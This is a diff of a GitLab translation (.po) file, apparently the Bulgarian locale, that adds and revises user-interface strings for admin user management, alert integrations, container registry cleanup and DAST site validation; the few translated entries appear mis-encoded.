@@ -2240,6 +2245,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2249,6 +2263,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2258,6 +2275,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2270,7 +2296,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2482,6 +2514,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2491,9 +2541,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2521,6 +2580,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2533,7 +2598,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2542,27 +2613,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2572,9 +2667,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2584,6 +2676,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2596,6 +2700,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2611,16 +2718,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2725,6 +2853,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2842,9 +2973,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2965,9 +3093,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3001,16 +3126,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3067,6 +3195,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3094,9 +3225,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3127,6 +3255,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3145,6 +3276,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3331,6 +3465,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3393,6 +3533,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3474,6 +3617,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3525,9 +3671,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr "ÐаиÑтина ли иÑкате да изтриете този план за Ñхема?"
@@ -3578,6 +3721,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -3852,6 +3998,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3972,6 +4124,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4260,12 +4415,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4290,6 +4451,11 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4341,6 +4507,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4599,9 +4768,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4629,6 +4795,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4725,6 +4894,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4752,6 +4924,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr "Отказ"
@@ -4785,9 +4963,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4929,6 +5104,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4947,9 +5125,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5016,6 +5191,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5202,12 +5380,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5241,6 +5413,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5409,7 +5584,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5451,10 +5626,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5502,7 +5677,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5511,9 +5686,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5604,6 +5776,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5712,6 +5887,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -5970,9 +6148,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6075,6 +6250,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6408,7 +6586,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6749,6 +6927,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6872,9 +7053,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7046,6 +7224,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7070,7 +7251,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7098,6 +7279,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7173,6 +7357,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7182,6 +7375,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7205,7 +7407,16 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7214,6 +7425,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7235,21 +7449,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8038,9 +8261,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8101,6 +8321,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8226,9 +8449,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8277,7 +8497,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8304,9 +8527,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8328,15 +8548,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8370,9 +8590,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8406,64 +8635,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validation failed"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8577,9 +8827,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8604,7 +8851,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8688,9 +8935,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9096,6 +9340,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9114,6 +9361,9 @@ msgstr ""
msgid "Description"
msgstr "ОпиÑание"
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9150,6 +9400,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9207,6 +9460,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9285,15 +9541,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9303,15 +9553,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
